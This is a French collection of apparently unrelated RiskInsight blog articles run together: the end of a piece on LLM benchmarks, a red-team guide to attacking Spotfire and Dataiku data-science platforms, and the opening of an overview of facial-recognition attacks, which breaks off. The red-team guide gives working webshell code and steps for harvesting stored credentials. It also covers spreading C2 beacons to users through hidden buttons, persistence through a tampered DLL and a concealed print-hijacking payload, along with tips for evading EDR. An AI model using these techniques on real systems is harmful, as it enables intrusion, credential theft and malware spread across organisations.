Les trois benchmarks mentionnés plus un (Chatbot Arena) sont les plus populaires et les plus utilisés dans la recherche pour comparer les LLM. La combinaison de ces benchmarks (MMLU, HellaSwag, HumanEval et Chatbot Arena) évalue de nombreux aspects du LLM, de sa compréhension factuelle et de sa cohérence, à ses compétences en codage et à l’expérience utilisateur. C’est pourquoi, ces quatre benchmarks sont largement utilisés dans de nombreux classements en ligne, car ils reflètent véritablement la nature du LLM.

Cependant, il est important de considérer que les modèles LLM les plus récents bénéficient d’un avantage considérable pour deux raisons principales :

1. Ils sont construits sur des architectures plus robustes, disposent de meilleures technologies sous-jacentes et ont accès à davantage de données pour l’entraînement en raison de dates limites plus récentes et d’une capacité matérielle plus grande.
2. De nombreuses questions des benchmarks mentionnés précédemment ont été divulguées dans les données d’entraînement des modèles.

Néanmoins, il existe de nombreux autres benchmarks disponibles sur Internet qui évaluent différents aspects des LLM et sont souvent utilisés ensemble pour offrir une vue complète de la performance du modèle.

Facteurs, Benchmarks et comment choisir votre LLM

En utilisant les facteurs et benchmarks mentionnés, vous pouvez comparer efficacement les LLM de manière quantifiable et objective, ce qui vous aidera à prendre une décision éclairée et à choisir le modèle le plus optimal pour vos besoins professionnels et vos tâches.

De plus, chacun des benchmarks mentionnés possède des points forts et des faiblesses qui les rendent uniques et efficaces dans différents aspects. Chez Wavestone, nous reconnaissons cependant l’importance de la diversification pour minimiser les risques. C’est pourquoi nous avons développé une liste de vérification permettant aux utilisateurs de prendre des décisions plus éclairées lors du choix d’un ensemble de benchmarks à suivre et de leur utilisation pour comparer les derniers modèles. La liste de vérification couvre une grande variété de domaines, de benchmarks et de facteurs, offrant à l’utilisateur final un contrôle plus granulaire sur son choix de benchmarks.

Cet outil, qui est également un suivi des priorités, permet aux utilisateurs d’attribuer différents poids aux benchmarks afin de refléter avec précision leurs besoins professionnels et la nature des tâches. Par exemple, un consultant pourrait privilégier la multi-modalité pour l’analyse de diagrammes et de graphiques par rapport aux compétences mathématiques, et ainsi attribuer un poids plus élevé à la multi-modalité

Réflexions finales

Dans le paysage en évolution rapide des LLM, comprendre les nuances entre les différents modèles et leurs capacités est crucial. Avant de considérer un LLM, plusieurs facteurs doivent être pris en compte, tels que la date limite de connaissance, la confidentialité des données, la vitesse, la taille des paramètres, la fenêtre contextuelle et la multimodalité. Une fois ces facteurs examinés, les utilisateurs peuvent consulter différents benchmarks pour prendre une décision plus éclairée. Ceux abordés dans cet article, à savoir MMLU, HellaSwag, HumanEval et Chatbot Arena, offrent un système robuste pour évaluer quantitativement ces modèles dans divers domaines.

En conclusion, la course à l’IA ne consiste pas seulement à développer de meilleurs modèles, mais aussi à tirer parti de ces modèles de manière efficace. Le choix du LLM le plus optimal n’est pas un sprint mais un marathon, nécessitant un apprentissage continu, une adaptation et une prise de décision stratégique à travers le benchmarking et les tests. Alors que nous continuons à explorer le potentiel des LLM, rappelons-nous que la véritable mesure du succès ne réside pas dans la sophistication de la technologie, mais dans sa capacité à ajouter de la valeur à notre travail et à nos vies.

Remerciements

Nous remercions Awwab Kamel Hamam pour son travail dans la rédaction de cet article.

Lectures complémentaires et références

[1] D. Hendrycks et al., “Measuring Massive Multitask Language Understanding.” arXiv, 2020. doi: 10.48550/ARXIV.2009.03300. Disponible sur : https://arxiv.org/abs/2009.03300 
[2] D. Hendrycks et al., “Aligning AI With Shared Human Values.” arXiv, 2020. doi: 10.48550/ARXIV.2008.02275. Disponible sur : https://arxiv.org/abs/2008.02275
[3] M. Chen et al., “Evaluating Large Language Models Trained on Code.” arXiv, 2021. doi: 10.48550/ARXIV.2107.03374. Disponible sur : https://arxiv.org/abs/2107.03374
[4] R. Zellers, A. Holtzman, Y. Bisk, A. Farhadi, and Y. Choi, “HellaSwag: Can a Machine Really Finish Your Sentence?” arXiv, 2019. doi: 10.48550/ARXIV.1905.07830. Disponible sur : https://arxiv.org/abs/1905.07830
[5] W.-L. Chiang et al., “Chatbot Arena: An Open Platform for Evaluating LLM by Human Preference.” arXiv, 2024. doi: 10.48550/ARXIV.2403.04132. Disponible sur : https://arxiv.org/abs/2403.04132

Cet article Quel LLM vous convient ? Optimiser l’utilisation des benchmarks des LLM en interne. est apparu en premier sur RiskInsight.

1. Vue d’ensemble

Dans un système d’information, les applications ne sont pas égales. Certaines d’entre elles peuvent être utilisées comme un point d’entrée du système d’information, d’autres comme accélérateurs de compromission, et d’autres sont gardées pour la post-exploitation. Ces applications sont appelées des cibles à hautes valeurs.

Par exemple, durant une attaque habituelle, l’application développée en interne va être ciblée en premier car elle offre une surface d’attaque importante et permet souvent de l’exécution de code distant sur les serveurs joints au domaine. Les infrastructures CICD sont exploitées pour facilement rebondir sur le réseau interne à travers l’infection de la pipeline CICD ou la découverte de secrets supplémentaires. L’ADCS est fortement sollicité pour accélérer la compromission du domaine à travers l’ensemble des vulnérabilités ESCXX.

La typologie des applications dans chaque catégorie est restée la même depuis plusieurs années, même si de nouveaux concurrents sont apparus au fil du temps, tels que l’application SCCM, la console EDR, etc. Cependant, étant donné que les mêmes techniques sont utilisées depuis plusieurs années, les entreprises ont commencé à sécuriser ces éléments, rendant leur compromission et leur exploitation plus difficiles.

Il est temps d’explorer de nouveaux horizons et renouveler ces anciennes pratiques avec un nouvel ensemble d’applications.

Dans cet article, nous allons regarder les applications de DataScience. Avec l’essor du BigData, de plus en plus d’entreprises intègrent une infrastructure de DataScience à leur système d’information. Nous verrons comment ces applications peuvent être exploitées pour :

• Réaliser une exécution de code à distance
• Faire des mouvements latéraux sur le réseau interne
• La diffusion de logiciels malveillants parmi les utilisateurs
• Faciliter la persistance des accès
• Exploiter le Datalake pour le datamining

2. Accès initial sur l’application de DataScience

Il existe de nombreuses applications DataScience différentes. Dans cet article nous nous concentrerons principalement sur les applications Spotfire et Dataiku car ce sont soit les plus populaires, soit qui ont le vent en poupe.

La DataScience étant encore nouvelle dans les entreprises, ces applications sont souvent déployées et maintenues par le métier et non par la DSI.

Disposer d’une application hors du processus informatique standard (Shadow IT) est souvent intéressant pour un attaquant. En effet, lorsqu’une application est mise en place en dehors du processus informatique standard, elle ne met souvent pas en œuvre les règles de sécurité standards imposées par l’entreprise. Ainsi, vous verrez sûrement :

• Des applications exposées directement sur internet sans protections supplémentaire
• Des applications non installées dans une DMZ spécifique avec un accès direct au réseau interne
• Des applicaitons avec une authentification locale au lieu du méchanisme d’authentification global de l’entreprise
• Un manque de durcissement du processus de déploiement et un manque de déploiement de correctifs de sécurité

Ces points peuvent sembler sans importance, mais leur accumulation conduit à la possibilité d’accéder à ces applications directement depuis Internet avec des informations d’identification non sécurisées, par défaut et toujours valides ou via un contournement d’authentification corrigé il y a quelques années mais jamais mise en place car l’entreprise ne le sait pas ou même ne s’en soucie…

3. DataScience en tant que RCE as a service

3.1. Pourquoi utiliser une application de datascience

Avant d’entrer dans le coeur du sujet, prenons un peu de temps pour discuter de l’intérêt et du cas d’utilisation de l’application de datascience.

Prenons comme exemple une entreprise qui vend plusieurs types de produits comme Amazon ou n’importe quelle marketplace. Cette société souhaite voir en temps réel les produits tendances en fonction de certaines caractéristiques des utilisateurs collectées par les analyses de leur site Web.

Ils peuvent utiliser un fichier Excel et essayer d’utiliser les fonctionnalités Excel VBA pour créer des graphiques et des tendances, mais il serait très pénible d’importer manuellement toutes les données dans le fichier Excel et pour une entreprise comptant des millions de clients, Excel plantera probablement à chaque fois que quelqu’un éternue à côté.

Pour résoudre ce problème, l’entreprise a commencé à stocker ses données analytiques dans une base de données qui sera appelée datalake. Ensuite, lorsque quelqu’un souhaite créer un joli rapport, il crée un script python qui se connecte à la base de données, récupère les données pertinentes, les traite via numpy ou panda et utilise matplotlib pour dessiner le graphique et les tendances. C’est bien mieux, l’application peut évoluer, est plus stable mais elle demande des compétences techniques en matière de script donc l’entreprise ne peut pas l’utiliser seule.

La société décide donc de développer une jolie interface pour envelopper tout le script Python derrière une belle interface utilisateur que tout le monde peut utiliser. Les utilisateurs peuvent se connecter à l’application, choisir les données à importer, les traiter et dessiner des graphiques sans écrire une seule ligne de code.

Ils ont juste créé leur première application de datascience.

Aujourd’hui, les entreprises n’investiront probablement pas plusieurs mois de développement sur ce type de configuration. Ils préfèrent acheter une application commerciale tout-en-un. Parmi ces applications figurent Spotfire et Dataiku.

3.2. Où est ma RCE?

Une application Datascience peut être résumée comme une simple interface pour les scripts de traitement de données. Et parfois, les fonctions intégrées ne suffisent pas, ils exposent donc l’accès à leur moteur de script pour permettre aux développeurs de créer un script personnalisé pouvant être entièrement intégré à l’environnement et utilisé par l’entreprise.

3.2.1. Spotfire

Infrastructure Spotfire basique

Quand déployé tel quel, l’infrastructure Spotfire ressemble au schéma suivant:

Figure 1: Basic Spotfire infrastructure

L’utilisateur se connecte à une WebUI exposée par Spotfire WebPlayer ou via un client lourd Spotfire dédié directement depuis son poste de travail et accède à son rapport stocké sur le serveur Spotfire. Une fois les rapports ouverts, ils contactent le serveur Spotfire pour récupérer les données et exécuter le script de nettoyage des données.

Execution de code distant

Spotfire permet, de par sa conception, l’exécution d’un script R, mais l’exécution d’un script Python peut être facilement activée en chargeant le module de script IronPython.

Dans tous les cas, les utilisateurs peuvent exécuter des scripts directement depuis Spotfire WebPlayer ou le client lourd. Cependant, ils ne peuvent modifier ou créer des scripts qu’à partir du client lourd Spotfire.

Depuis le client lourd, il est possible de créer un nouveau projet. A l’intérieur du projet, il est possible de créer une UI. Créons un webshell Spotfire.

Tout d’abord, nous allons créer l’UI. Il sera composé d’une textarea pour taper la commande, une autre textarea pour afficher le résultat de la commande et un bouton pour envoyer la commande :

Figure 2: UI webshell finale

Une fois le projet créé, nous créons une nouvelle page vide. Lorsqu’une page vide est créée, Spotfire demande si l’on souhaite commencer par des données, une visualisation ou autre :

Figure 3: nouvelle page Spotfire

Nous choisirons “Start from Visualizations” et choisirons le type de visualisation “Text area”. Cela devrait afficher une page entièrement vierge:

Figure 4: nouvelle textarea de Spotfire

Ce textarea va contenir l’ensemble du contrôle d’entrée du webshell. Créons une nouvelle textarea pour le résultat:

Figure 5: seconde textarea de Spotfire

Désormais, nous pouvons cliquer sur “Edit Text Area” en haut de la première zone de texte. Cela va permettre la customisation du contenu de la zone de texte.

Ajoutons d’abord un contrôle d’entrée qui servira à taper la commande à envoyer au serveur :

Figure 6: modification de la zone de texte

Nous allons lier la valeur du contrôle à une propriété du document pour pouvoir l’utiliser avec notre futur script python. Nous pouvons créer une nouvelle propriété appelée Input avec le type de données String :

Figure 7: Lier le contrôle au champ de saisie

Ensuite, créons un contrôle d’action en cliquant sur le bouton “Insert Action Control” en haut de la fenêtre Edit Text Area. Cliquons sur Script et choisissons le bouton de type contrôle. Ensuite, nous pouvons créer un nouveau script IronPython:

Figure 8: ajout du bouton

Remplissez le contenu du script avec le code suivant :

from Spotfire.Dxp.Application.Visuals import *
from System.IO import *
from System.Drawing import *
from System.Drawing.Imaging import *
from System.Text.RegularExpressions import *
import subprocess
vis=visual.As[HtmlTextArea]()
if 'clean!' in com:
    vis.HtmlContent = ''
else:
    try:
        vis.HtmlContent = "Executing {}".format(com)
        process = subprocess.Popen(com.split(" "), stdout=subprocess.PIPE)
        output, _ = process.communicate()
        vis.HtmlContent='<br>'.join(output.split('\n'))
    except Exception as e:
        vis.HtmlContent="{}".format(e)

Ce code charge un ensemble de bibliothèques Spotfire utilisées pour communiquer avec l’interface utilisateur. La variable “visual” représente la zone de texte utilisée pour afficher le résultat. La variable “com” contient la valeur du lien de propriété avec notre champ de saisie créé.

Le script exécute la commande stockée dans le “com” et écrit le résultat sur l’élément UI pointé par la variable “visual”.

Maintenant, nous devons lier les variables “visual” et “com” aux différents éléments du projet. Dans le tableau “Script parameters” , ajoutez un nouveau paramètre :

Figure 9: Lier le paramètre visual

Faisons la même chose pour le paramètre com:

Figure 10: Lier le parameter com

Désormais, lorsque le script sera exécuté, il liera automatiquement le paramètre visual au panneau textarea utilisé pour afficher le résultat et le paramètre com au contenu de la propriété Input créée lors de la définition du champ de saisie.

Sauvegardons le tout. Félicitations, nous avons un webshell fonctionnel:

Figure 11: Webshell final

S’il est exécuté directement depuis le client lourd, le code ne sera exécuté qu’en local, ce n’est donc pas vraiment intéressant. Cependant, si le code est exécuté directement depuis le Spotfire Webplayer, il sera exécuté sur le serveur Spotfire, entraînant une exécution de code à distance sur le serveur.

3.2.2. Dataiku

L’exécution de code à distance sur Dataiku est plus simple. En effet, Dataiku embarque directement des fonctionnalités de type notebook Jupyter.

En créant un nouveau projet Jupyter, il est possible d’exécuter directement la commande sur le serveur comme le montre la figure suivante :

Figure 12: Execution de code avec Dataiku

3.2.3. Considération OPSEC

On peut dire que la génération d’un processus Python en tant que processus enfant pour Spotfire ou Dataiku entraînera une détection directe par l’EDR. Cependant, nous devons garder à l’esprit que la création d’un processus Python est un comportement légitime pour le processus Spotfire ou Dataiku.

Cependant, si vous commencez à générer cmd.exe directement à partir du script Python, oui, cela pourrait conduire à une détection directe. Mais python est connu pour être suspect par défaut et l’EDR est un peu plus détendu sur les actions effectuées par un processus python en raison de plusieurs faux positifs.

Donc, en un mot, la génération du processus python ne devrait conduire à aucune détection spécifique, mais vous devez faire attention au script que vous exécuterez à partir de celui-ci.

4. Récolte des identifiants

Avoir une RCE sur un serveur, c’est toujours intéressant, mais il vaut mieux savoir ce qu’on peut en faire. Tout d’abord, si vous avez obtenu la RCE sur un ordinateur joint au domaine, vous disposez d’un accès authentifié au domaine, et lorsque vous venez directement depuis Internet, c’est la cerise sur le gâteau.

La spécificité des applications de datascience est qu’elles sont connectées au datalake. Ces connexions peuvent être des connexions SQL standard, mais elles peuvent également être des connexions à des datalake cloud tels qu’AWS.

Ayant une RCE sur le serveur, vous pouvez généralement accéder à toutes les informations d’identification stockées dans l’application.

4.1. Exemple avec Dataiku

Sur Dataiku, les secrets sont stockés dans le dossier DATA_DIR/config :

Figure 13: Fichiers de configuration de dataiku

Users.json contient la base de données utilisateur de dataiku. Vous pouvez l’utiliser pour créer un nouvel utilisateur administrateur et conserver la persistance sur l’environnement.

Le fichier connections.json contient tous les identifiants pour accéder aux datalakes. Cependant, les mots de passe sont stockés chiffrés :

Figure 14: Mots de passe chiffrés

Heureusement, Dataiku fournit un outil pour décrypter ces informations d’identification :

Figure 15: Déchiffrement du mot de passe Dataiku

Vous pouvez désormais utiliser ces informations d’identification pour accéder à la base de données distante ou directement sur le cloud si elles utilisent AWS Datalake ou des bases de données stockées sur AWS.

Enfin, le compte Dataiku utilisé pour exécuter l’instance Dataiku dispose de tous les privilèges sur les données de l’instance Dataiku. Vous pouvez alors simplement récupérer toutes les données du projet.

5. Propagation parmi les utilisateurs

Cette partie s’applique uniquement à Spotfire car Dataiku ne fournit pas de client lourd et cette exploitation repose sur le fait que l’utilisateur exécutera du code sur son poste de travail et non sur le serveur distant.

5.1. Infecter d’autres utilisateurs

Les scripts intégrés dans l’analyse doivent être de confiance pour pouvoir être exécutés par d’autres utilisateurs. Ce processus de confiance est effectué via des utilisateurs Spotfire dotés de droits spécifiques. Avec l’exécution de code à distance sur l’instance Spotfire, il est possible de créer directement un nouvel utilisateur administrateur. Cependant, en raison de la gestion non sécurisée des utilisateurs par les équipes métiers, tous les utilisateurs disposent généralement des privilèges nécessaires pour faire confiance aux scripts.

Afin de compromettre les utilisateurs, l’application Spotfire peut être utilisée comme une infrastructure de command and control.

Lorsque l’utilisateur ouvre un fichier d’analyse depuis son client lourd, le fichier est téléchargé localement, et tous les scripts contenus sur le projet sont exécutés localement sur le poste de l’utilisateur.

Figure 16: Vision macro de l’infrastructure C2 du Spotfire

Cette feuille d’analyse a été infectée via un script JS. Une fois ouvert par l’utilisateur, le code JavaScript sera exécuté conduisant à l’exécution d’un script python final contenant la balise C2.

Cela peut être fait en ajoutant dans n’importe quelle page du projet un nouveau bouton qui déclenchera le runtime python C2. Le bouton peut être configuré pour avoir une taille de 1 px, ce qui le rend invisible. Ensuite, un script JS peut être ajouté pour cliquer automatiquement sur le bouton de manière régulière (toutes les 30 secondes par exemple).

Tant que le fichier d’analyse est ouvert, le code JavaScript appellera le script python C2 toutes les 30 secondes, permettant l’exécution d’un script python arbitraire et d’une commande du système d’exploitation sur l’ordinateur de l’utilisateur.

Figure 17: Vision bas niveau du fichier d’analyse infecté

La seule limitation est que le JS ne sera déclenché que si l’utilisateur ouvre la page infectée spécifique. Cela peut être contourné en redirigeant l’utilisateur vers la page d’analyse malveillante lorsqu’il l’ouvre.

Lorsque l’utilisateur ouvre l’analyse infectée, celle-ci déclenche automatiquement une fonction de données (qui est différente d’un script).

Les datafunction sont des fonctions exécutées à l’ouverture du projet. Cependant, leur sous-ensemble de fonctionnalités est limité. Ils ne peuvent pas exécuter régulièrement un script Python important.

Cette fonction de données est configurée pour mettre à jour une propriété de document aléatoire. Spotfire permet de configurer des hooks de script sur les propriétés modifiées. Ainsi, lorsque la propriété est modifiée par la fonction data, cela déclenchera un script IronPython qui affichera une feuille d’analyse spécifique à l’utilisateur.

Une fois la feuille d’analyse infectée focalisée, elle démarrera la balise python C2 de manière régulière via le script JS comme expliqué précédemment :

Figure 18: process de lancement automatique du C2

Lorsque ce C2 sera déployé, il restera actif tant que l’analyse infectée restera ouverte sur le poste de l’utilisateur.

La figure suivante montre la compromission d’un poste utilisateur et l’exécution d’un script python distant récupéré par la balise python :

Figure 19: execution de commande sur le poste utilisateur

Afin de compromettre un maximum d’utilisateurs, il est possible d’infecter plusieurs projets et d’attendre que les utilisateurs cliquent dessus.

Habituellement, les entreprises stockent des modèles de projet spécifiques quelque part sur le serveur Spotfire. Si vous les trouvez, vous infecterez automatiquement tous les projets basés sur ce modèle.

5.2. Etendre le temps de compromission

Ce processus C2 est intéressant mais se termine lorsque l’utilisateur ferme l’analyse infectée. Afin d’avoir un accès plus persistant à l’ordinateur de l’utilisateur, le processus C2 est migré de Spotfire vers une autre instance Python sur l’ordinateur de l’utilisateur.

En effet, lorsque Spotfire est installé, il installe également un interpréteur python brut. Grâce au C2 initial, il est possible, via l’exécution de commandes du système d’exploitation, d’écrire une autre balise C2 sur le système de fichiers utilisateur et de déclencher son exécution par l’interpréteur python brut.

Figure 20: C2 sans les restrictions Spotfire

Cette fois, même si l’analyse infectée est fermée, le processus python ne sera pas terminé car il n’est plus lié à Spotfire, accordant à l’attaquant un accès persistant à l’ordinateur de l’utilisateur tant qu’aucun redémarrage n’est effectué.

5.3. Persistance d’accès

5.3.1. DLL Hijacking

Grâce à la balise C2, il est possible de générer des reverse socks SSH. Les reverse socks SSH suffisent pour accéder au réseau interne, cependant, elles seront terminées lorsque l’ordinateur de l’utilisateur sera arrêté et ne seront remontées que lorsque l’utilisateur rouvrira une analyse infectée et déclenchera à nouveau l’exécution de la balise C2.

Afin d’obtenir de la persistance et de garantir que les socks seront remontées même si l’ordinateur de l’utilisateur est redémarré, certaines modifications des fichiers d’application peuvent être effectuées sur le poste de travail de l’utilisateur.

Les utilisateurs compromis via la balise Spotfire sont des analystes de données et Spotfire est leur principal outil et plus probablement la première application qu’ils exécutent lorsqu’ils allument leur ordinateur.

Le client lourd Spotfire est développé en C#. Ses DLL peuvent être facilement inversées et elles sont stockées dans le dossier utilisateur APPDATA. Ainsi, avec un simple accès à la session utilisateur, il est possible de modifier ces DLL sans avoir besoin d’une élévation de privilèges spécifique. A l’aide de SysInternals Procmon.exe, on retrouve la liste des DLL chargées par Spotfire. Ensuite, l’une de ces DLL fait l’objet d’une ingénierie inverse et est infectée, comme le montre la figure suivante :

Figure 21: DNSpy montrant la DLL modifiée

Le code malveillant injecté créera un nouveau processus SSH montant une nouvelle reverse sock SSH au démarrage de Spotfire.

La DLL est recompilée et téléchargée sur chaque poste de travail utilisateur compromis et la balise C2 est modifiée pour exécuter cette action lorsqu’elle détecte un nouveau rappel utilisateur.

5.3.2. Considération OPSEC

Bien qu’elle ressemble à du DLL hijacking, cette technique est difficilement détectable par un EDR car la DLL d’origine n’a pas été échangée par un logiciel malveillant comme dans le DLL hijacking ou le DLL proxying. La DLL exécutée par Spotfire est celle d’origine recompilée avec un code supplémentaire engendrant un nouveau processus.

Comme la DLL Spotfire d’origine n’est pas signée, l’EDR ne peut pas détecter la modification.

5.3.3. Résilience

Pour éviter d’être bloqué via une règle de pare-feu si l’adresse IP des socks est sur liste noire, le code malveillant implanté dans la DLL Spotfire ne contient pas d’adresse IP distante, de port et de clé SSH codés en dur, à chaque fois qu’il récupère ces informations à partir d’un serveur distant différent.

Ainsi, même si le SOC met sur liste noire l’adresse IP SOCKS, il est possible de modifier à distance l’adresse IP de destination SOCKS sans avoir besoin d’un accès direct aux ordinateurs des utilisateurs compromis.

6. Se cacher à la vue de tous

L’application Dataiku peut être utilisée pour masquer l’exécution de commandes malveillantes et faire croire qu’elle a été effectuée par un autre utilisateur.

6.1. Intégration Jupyter dans Dataiku

Comme dit précédemment, Dataiku expose une application de type Jupyter. En examinant le code Dataiku et les différents processus exécutés par l’instance DSS, cela montre que Dataiku n’a pas redéveloppé des applications de type Jupyter, mais a simplement exécuté une instance Jupyter Notebook complète en arrière-plan :

Figure 22: serveur Jupyter sur le port 11002

Une simple redirection de port accorde l’accès à l’instance Jupyter :

Figure 23: instance Jupyter

Lors de l’exécution d’une cellule Jupyter, il est possible, en effectuant une capture réseau, de voir la communication TCP entre l’instance Dataiku et le backend Jupyter :

Figure 24: paquet TCP

Cela montre que l’instance Dataiku expose pleinement le noyau Jupyter et une enquête supplémentaire montre que le TOKEN API utilisé par Dataiku pour communiquer avec le backend Jupyter est le même quel que soit le notebook Jupyter chargé.

Ainsi, tout utilisateur ayant accès à la fonctionnalité Jupyter Notebook est capable d’exécuter du code sur n’importe quel noyau Jupyter chargé tant qu’il dispose de l’ID du noyau. Heureusement, les identifiants des noyaux sont affichés dans les lignes de commande du processus. Ainsi, le code suivant peut être utilisé pour récupérer tous les identifiants du noyau :

Figure 25: recuperation de l’ID Kernel

6.2. Obfusquer la requête d’exécution

Une fois l’identifiant du noyau récupéré, il est possible de créer une session sur le noyau :

GET /jupyter/api/kernels/0ab25b8f-1714-4bc9-8449-c09faf5c2e29/channels?session_id=c8c6a227ea3c465c82e39c403ba705a18 HTTP/1.1
Host: 10.125.3.111:11000
<SNIP>
Origin: http://10.125.3.111:11000
Sec-WebSocket-Key: obLqAtXNc/KxMJOp27qxIQ==
Connection: keep-alive, Upgrade
Cookie: <SNIP>
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

Cette requête créera un websocket pour communiquer avec le noyau Jupyter. Aucun contrôle d’accès spécifique n’est effectué sur ce point de terminaison. Tant que vous êtes autorisé à exécuter n’importe quel notebook Jupyter, vous pouvez vous connecter à n’importe quel noyau Jupyter même si vous ne pouvez pas accéder au notebook à l’aide de l’interface utilisateur.

Il est alors possible d’utiliser le websocket pour envoyer une commande à exécuter au noyau python :

{
  "header": {
    "msg_id": "ef46ce660d49457c890ce550420ed921",
    "username": "username",
    "session": "f4fe997b336f4a019c4c6837df699d30",
    "msg_type": "execute_request",
    "version": "5.2"
  },
  "metadata": {},
  "content": {
    "code": "print('test')",
    "silent": false,
    "store_history": true,
    "user_expressions": {},
    "allow_stdin": true,
    "stop_on_error": true
  },
  "buffers": [],
  "parent_header": {},
  "channel": "shell"
}

Ce qui est intéressant, c’est que la commande est exécutée, mais n’est enregistrée dans aucune cellule Jupyter, ce qui conduit à une exécution de commande invisible tant que le noyau est vivant.

De plus, si vous modifiez la valeur d’une variable spécifique, elle sera persistante. Donc, si vous envoyez la commande python :

def hijacked_print(value):
    import sys
    process = subprocess.Popen(‘YOUR BEACON’, stdout=subprocess.PIPE, shell=False)
    sys.stdout.write('hijacked print: {}'.format(value))


print = hijacked_print

La balise sera exécutée lorsqu’un utilisateur utilise la commande print et comme l’exécution précédente de Python n’a laissé aucune trace, bonne chance pour la détecter et trouver quel utilisateur a été compromis.

7. Conclusion

Les applications de science des données sont utiles à n’importe quelle étape de la killchain. Pour un attaquant distant, ils peuvent être utilisés comme point d’entrée initial sur le système d’information, ils peuvent être exploités pour trouver des informations d’identification stockées de manière non sécurisée afin de rebondir sur le système d’information, leurs capacités de script peuvent être utilisées pour diffuser une balise malveillante entre plusieurs utilisateurs et les données qu’ils contiennent peuvent être facilement volées et exfiltrées.

Ces applications sont sapées soit par les attaquants, soit par le service informatique. Une simple compromission de l’une de ces applications peut avoir un impact considérable sur l’ensemble du système d’information.

Il est temps que l’infosec commence à intégrer le mot à la mode comme le BigData et l’apprentissage automatique dans la killchain, l’attaquant l’a déjà fait…

Cet article DataScience pour la RedTeam: Etendre sa surface d’attaque est apparu en premier sur RiskInsight.

Démystification du fonctionnement

Ces technologies ont comme objectifs d’identifier et d’extraire les visages d’images ou de flux vidéo, et de calculer une empreinte faciale pour chacun de ces visages, encapsulant l’ensemble de leurs caractéristiques, afin de faciliter une recherche et identification par la suite.  

L’idée d’utiliser le visage comme information d’identification dans des systèmes ainsi que les premiers systèmes fonctionnels remonte aux débuts des années 1960 avec le système Woodrow Wilson Bledsoe (1964), le système était capable de reconnaître des visages en analysant des photos numérisées. Son approche reposait sur l’identification des caractéristiques faciales telles que la distance entre les yeux et la largeur du nez.
Les dernières avancées en matière d’intelligence artificielle, notamment avec l’avènement du Machine Learning ainsi que l’explosion du volume de photos et vidéos partagé sur Internet, ont permis un développement rapide et massif des algorithmes de reconnaissance faciale.

En pratique, ces systèmes s’appuieront sur les images capturées par nos smartphones et caméra, constituées d’une grille de pixels, portant chacun les valeurs des trois couleurs, rouge, vert et bleu pour le pixel en question. Contrairement au fonctionnement de la vision humaine, c’est sous cette forme complètement numérique que le système de RF appréhendera les images. Le traitement qu’appliquera l’algorithme de RF devra ainsi généralement suivre les 5 étapes suivantes :

1. Capture de l’image : Tout commence par la capture d’une image contenant un visage. Cette image peut provenir d’une photo prise par une caméra tout comme être extraite d’une vidéo.
2. Détection du visage : L’algorithme va analyser l’image pour détecter la présence et la position des visages. Pour cela il va utiliser des techniques de traitement d’image pour rechercher des motifs et des schémas caractéristiques des visages, comme les contours, les éléments structurant (comme les yeux) et les variations de luminosité
3. Extraction des caractéristiques faciales de la personne : Une fois le visage est détecté, l’algorithme extrait des caractéristiques spécifiques qui vont permettre de le distinguer des autres visages. Ces caractéristiques incluent des éléments intelligibles (position des yeux, forme globale …) ainsi que des éléments intelligibles uniquement par le modèle IA (dégradé et arrangements spécifiques de pixels)
4. Création d’une empreinte faciale : A partir des caractéristiques extraites, l’algorithme crée une empreinte faciale, qui est essentiellement un résumé du visage, sur un format numérique compréhensible pour le modèle.
5. Comparaison avec la base de données : Afin de réaliser des identifications et des recherches, l’empreinte faciale obtenue pourra être comparée avec des bases de données d’empreinte ou d’image. Les correspondances trouvées mentionneront généralement un pourcentage de confiance, selon le niveau de ressemblance calculé.

De nos jours, les mécaniques sous-jacentes de traitement d’image et de Machine Learning peuvent offrir des performances excellentes, en termes de rapidité ou de cohérence des résultats. Mais au même titre que le reste des services technologiques automatisés, elles peuvent souffrir de vulnérabilité de sécurité cyber, et peuvent dans certains cas être détournées par un attaquant.

Panorama des attaques et faiblesses

L’objectif ne sera pas d’énumérer l’ensemble des attaques potentielles sur les systèmes liés au Machine Learning, mais de se concentrer sur les attaques pouvant viser les algorithmes de RF. Les principales typologies sont les suivantes :

Les attaques par adversaire (Adversary Attacks)
Premières fissures dans l’armure des algorithmes de RF, découvertes dans les années 2010, leur principe est d’introduire subtilement un bruit très léger dans les images envoyées au système. Cette altération, quasi invisible pour un être humain, bouleversera en revanche les caractéristiques fines vues par le modèle, et pourra permettre volontairement des erreurs de compréhension et de classification par le réseau de neurones sous-jacent. S’il est en mesure d’altérer les images envoyées, un attaquant ayant une bonne connaissance du système en question pourrait ainsi usurper l’identité d’un utilisateur.

Exemple d’attaque par adversaire

Attaques par occlusion
Dès 2015, des chercheurs ont pu mettre en pratique des attaques où l’occlusion de parties du visage, comme par le port de lunettes ou de masques, peut permettre de tromper certains modèles de RF. En effet, le modèle pourra ne pas réussir à détecter et extraire de visages des images capturées, ou bien à extraire des caractéristiques incohérentes. Dans les deux cas, de telles attaques permettent une anonymisation des sujets

Exemples de dispositifs d’occlusion

Attaques par substitution de visage

A l’instar des films d’espionnage, les chercheurs ont exploré les attaques par substitution de visage, utilisant des techniques parfois sophistiquées pour tromper les systèmes en présentant des visages artificiels qui ressemblent à de vrais visages. Les techniques peuvent aller du simple masque en carton, jusqu’à la reproduction d’un visage et de ses détails sur un masque « sur-mesure » en silicone. Ces attaques ont soulevé des préoccupations quant à la fiabilité des systèmes de reconnaissance faciale dans des scénarios du monde réel.

A noter que certains systèmes de RF (comme Windows Hello de Microsoft) s’appuieront sur une caméra infrarouge, pour notamment s’assurer d’être face à un vrai visage.

Procédure de création de visage pour une attaque par substitution de visage

Attaques par superposition

Dans certains cas, une simple superposition d’un “patch” sur une autre image peut induire en erreur les algorithmes de RF. Il est possible de calculer l’image qui représente le mieux une personne ou un objet (un grille-pain dans notre cas) du point de vue du modèle, et d’insérer cet élément dans l’image que l’on souhaite détourner. Le modèle de RF aura tendance à se focaliser sur cette zone, et cela pourra altérer complètement ses prédictions.

Exemple d’attaque par superposition

Attaques par illumination

En jouant sur l’éclairage environnant, il est courant de pouvoir altérer la performance d’un algorithme de RF, mettant en avant la nécessité de prendre en compte les conditions environnementales.

Demain, une défense à la hauteur des risques 

Face à ces systèmes faillibles, tout un ensemble de stratégies de protection apparaissent, misant généralement sur la vérification de la cohérence et la véracité des images présentées. Un bref panorama des axes de travail pour la défense :

